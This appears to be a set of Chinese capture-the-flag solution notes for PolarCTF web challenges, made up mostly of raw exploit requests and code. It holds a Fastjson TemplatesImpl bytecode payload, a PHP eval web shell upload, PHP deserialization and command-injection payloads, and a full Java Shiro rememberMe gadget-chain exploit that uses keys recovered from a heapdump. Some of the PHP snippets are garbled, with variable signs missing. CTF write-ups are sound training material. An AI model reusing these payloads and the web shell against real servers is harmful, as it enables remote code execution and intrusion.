POST / HTTP/1.1
Host: 2f8125e1-5fcf-43f7-830d-e74d6af28477.www.polarctf.com:8090
Content-Length: 4062
Pragma: no-cache
Cache-Control: no-cache
Origin: http://2f8125e1-5fcf-43f7-830d-e74d6af28477.www.polarctf.com:8090
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2f8125e1-5fcf-43f7-830d-e74d6af28477.www.polarctf.com:8090/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
C: cat fastFLAG.txt
Connection: keep-alive
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAhwoAHQBDCgBEAEUHAEYKAAMARwoAAwBIBwBJCABKCABLCABMCwBNAE4HAE8HAFAKAAwAUQoADABSCgBTAFQKAAsAVQgAVgoACwBXCgALAFgKAAYAWQsAWgBbCgAGAFwKAF0AXgoAXQBfCgBdAGAHAGEKABoAYgcAYwcAZAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBABFyZXF1ZXN0QXR0cmlidXRlcwEAO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQALaHR0cHJlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAxodHRwcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQADY21kAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAAltCAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEABHRoaXMBABtMeXNvc2VyaWFsL2Zhc3Rqc29uL1NoZWxsMjsBAA1TdGFja01hcFRhYmxlBwBjBwBhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAGUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAtTaGVsbDIuamF2YQwAHgAfBwBmDABnAGgBAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzDABpAGoMAGsAbAEAEGphdmEvbGFuZy9TdHJpbmcBAAJzaAEAAi1jAQABQwcAbQwAbgBvAQARamF2YS91dGlsL1NjYW5uZXIBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIMAB4AcAwAcQByBwBzDAB0AHUMAB4AdgEAAlxBDAB3AHgMAHkAegwAewB8BwB9DAB+AH8MAB4AgAcAgQwAggCDDACEAB8MAIUAHwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAIYAHwEAGXlzb3NlcmlhbC9mYXN0anNvbi9TaGVsbDIBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQAKZ2V0UmVxdWVzdAEAKSgpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACooKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhnZXRCeXRlcwEABCgpW0IBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEABWNsb3NlAQAPcHJpbnRTdGFja1RyYWNlACEAHAAdAAAAAAADAAEAHgAfAAEAIAAAATcABQAGAAAAgyq3AAG4AAJMK8AAA7YABE0rwAADtgAFTga9AAZZAxIHU1kEEghTWQUsEgm5AAoCAFM6BLsAC1m7AAxZGQS3AA22AA62AA+3ABASEbYAErYAE7YAFDoFLbkAFQEAuwAGWRkFtwAWtgAXLbkAFQEAtgAYLbkAFQEAtgAZpwAITCu2ABuxAAEABAB6AH0AGgADACEAAAA2AA0AAAALAAQADQAIAA4AEAAPABgAEAAzABEAVgASAGgAEwBxABQAegAXAH0AFQB+ABYAggAYACIAAABIAAcACAByACMAJAABABAAagAlACYAAgAYAGIAJwAoAAMAMwBHACkAKgAEAFYAJAArACwABQB+AAQALQAuAAEAAACDAC8AMAAAADEAAAAQAAL/AH0AAQcAMgABBwAzBAABADQANQACACAAAAA/AAAAAwAAAAGxAAAAAgAhAAAABgABAAAAHQAiAAAAIAADAAAAAQAvADAAAAAAAAEANgA3AAEAAAABADgAOQACADoAAAAEAAEAOwABADQAPAACACAAAABJAAAABAAAAAGxAAAAAgAhAAAABgABAAAAIgAiAAAAKgAEAAAAAQAvADAAAAAAAAEANgA3AAEAAAABAD0APgACAAAAAQA/AEAAAwA6AAAABAABADsAAQBBAAAAAgBC"],"_name":"a.b","_tfactory":{},"_outputProperties":{},"_version":"1.0","allowedProtocols":"all","l00duo08q4a":"="}
file
300 分 3 Polar币
【2024春季个人挑战赛】
dirsearch -u url
upload.php
uploaded
burpsuit 传送木马,文件名更改 png->php
哥斯拉 命令进入,2个假flag,真的在/flag
uploader
100 分 1 Polar币
【2024春季个人挑战赛】
无上传界面
制作界面:
<DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Post DATA POC</title>
</head>
<body>
<form action="http://92214446-57a1-4224-93e2-ea1c7a5a57ce.www.polarctf.com:8090/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"> <br><br>
<input type="submit" value="提交">
</form>
</body>
</html>
POST / HTTP/1.1
Host: 92214446-57a1-4224-93e2-ea1c7a5a57ce.www.polarctf.com:8090
Content-Length: 231
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryroQOOub0x149mpDK
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
------WebKitFormBoundaryroQOOub0x149mpDK
Content-Disposition: form-data; name="file"; filename="phppass.php"
Content-Type: application/octet-stream
<?php
eval($_POST["pass"]);
?>
------WebKitFormBoundaryroQOOub0x149mpDK--
运行上传木马:
/331d4abb3f3a802c4989ed7737c537ba/phppass.php
pass=system(“cat /flag”);
PlayGame
300 分 3 Polar币
【2024春季个人挑战赛】
https://www.bejson.com/runcode/php/
<?php
class User{
public name;
publicage;
public sex;
}
class PlayGame{
publicuser;
public gameFile="/flag";
}playgame = new PlayGame();
user = new User();user->name = playgame;playgame->user = user;playgame->gameFile = "/flag";
// 生成序列化payload
a = new PlayGame();a->user = new User();
a->user->name = new PlayGame();a->user->name->gameFile='/flag';
payload=serialize(a);
// URL编码并输出payload
echo "URL编码后的Payload:\n";
echo urlencode(payload) . "\n\n";
// 原始payload(含不可见字符,复制时需注意)
echo "原始Payload:\n";
echopayload;
?>
output:
URL编码后的Payload:
O%3A8%3A%22PlayGame%22%3A2%3A%7Bs%3A4%3A%22user%22%3BO%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3BO%3A8%3A%22PlayGame%22%3A2%3A%7Bs%3A4%3A%22user%22%3BN%3Bs%3A8%3A%22gameFile%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Ds%3A3%3A%22age%22%3BN%3Bs%3A3%3A%22sex%22%3BN%3B%7Ds%3A8%3A%22gameFile%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D
原始Payload:
O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:5:"/flag";}
/?polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:5:"/flag";}
覆盖
100 分 1 Polar币
【2024春季个人挑战赛】
注:与“干正则” 几乎一样?
?id=a[]%3Dwww.polarctf.com&cmd=;ls
?id=a[]%3Dwww.polarctf.com&cmd=;ls;cat fla*|base64;
PHP反序列化初试
100 分 1 Polar币
【2024春季个人挑战赛】
生成payload:
https://www.bejson.com/runcode/php/
<?php
class Easy{
public name;
public function __wakeup()
{
echothis->name;
}
}
class Evil{
public evil;
privateenv;
}
evil = new Evil();easy = new Easy();
evil->evil ="ls;cat f1@g.php";easy->name = evil;
// 生成序列化payloadpayload=serialize(easy);
// URL编码并输出payload
echo "URL编码后的Payload:\n";
echo urlencode(payload) . "\n\n";
// 原始payload(含不可见字符,复制时需注意)
echo "原始Payload:\n";
echo $payload;
?>
output:
URL编码后的Payload:
O%3A4%3A%22Easy%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Evil%22%3A2%3A%7Bs%3A4%3A%22evil%22%3Bs%3A15%3A%22ls%3Bcat+f1%40g.php%22%3Bs%3A9%3A%22%00Evil%00env%22%3BN%3B%7D%7D
原始Payload:
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:15:"ls;cat f1@g.php";s:9:"Evilenv";N;}}
payload要用url编码的,原始的可能不全。
ls
f1@g.php index.php
机器人
100 分 1 Polar币
【2024春季个人挑战赛】
前半flag:
/robots.txt
dirsearch -u url/27f5e15b6af3223f1176293cd015771d
后半flag:
/27f5e15b6af3223f1176293cd015771d/flag.php
csdn
300 分 3 Polar币
【2024春季个人挑战赛】
?xxs=file://flag/flag.txt
PolarOA2.0
500 分 5 Polar币
【2024夏季个人挑战赛】
Apache Shiro框架的记住密码功能,用户登录后生成加密编码的cookie。服务端对记住密码产生的cookie进行base64解密,再进行AES解密,之后进行反序列化,导致了反序列化漏洞。
客户端:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
服务端:RememberMe Cookie值=>base64解密=>AES解密=>反序列化
admin admin123 弱口令进入。
spring端点泄露
url/actuator/env
下载heapdump
/actuator/heapdump
#如下不行:
D:\download>jhat -J-Xmx1024m heapdump
#如下:
D:\download>java -jar /ctf/tools/JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = XH5qnjgwn8+PZl23ik8RBA==, algName = AES
algMode = GCM, key = rhf8YuMBvSg9scwJ9uT3NQ==, algName = AES
https://github.com/SummerSec/ShiroAttack2
GenPayLoad:
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.8.0</version>
</dependency>
package ysoserial.polaroa2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
public class FinalPoc2 {
public static void main(String[] args) throws Exception {
final TemplatesImpl templates = getTemplate();
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 生成序列化字符串
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes("XH5qnjgwn8+PZl23ik8RBA=="));//更改此粗shiro默认密钥
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(aes.encrypt(bytes, key));
}
public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public spring() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public static TemplatesImpl getTemplate() throws Exception {
CtClass clz = genPayloadForLinux2();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
Run :
header中加:
C: cat /flag
Cookie: rememberMe=<PARYLOADHERE>
payload 不要URL转码!!
GET / HTTP/1.1
Host: 0e057842-fff3-4b88-a1b3-17ccfb400ff5.www.polarctf.com:8090
Content-Length: 2
Pragma: no-cache
Cache-Control: no-cache
Origin: http://0e057842-fff3-4b88-a1b3-17ccfb400ff5.www.polarctf.com:8090
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://0e057842-fff3-4b88-a1b3-17ccfb400ff5.www.polarctf.com:8090/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
C: cat /flag
Cookie: rememberMe=wbEMt2WEhCWCKrXFccheLvDaGPhxzCDCbY7UYl+asN/W4KA9XnHdnIP5Bzjf+LrWFPu91WwSMgLsaXKgmO+gR2mI=
Connection: keep-alive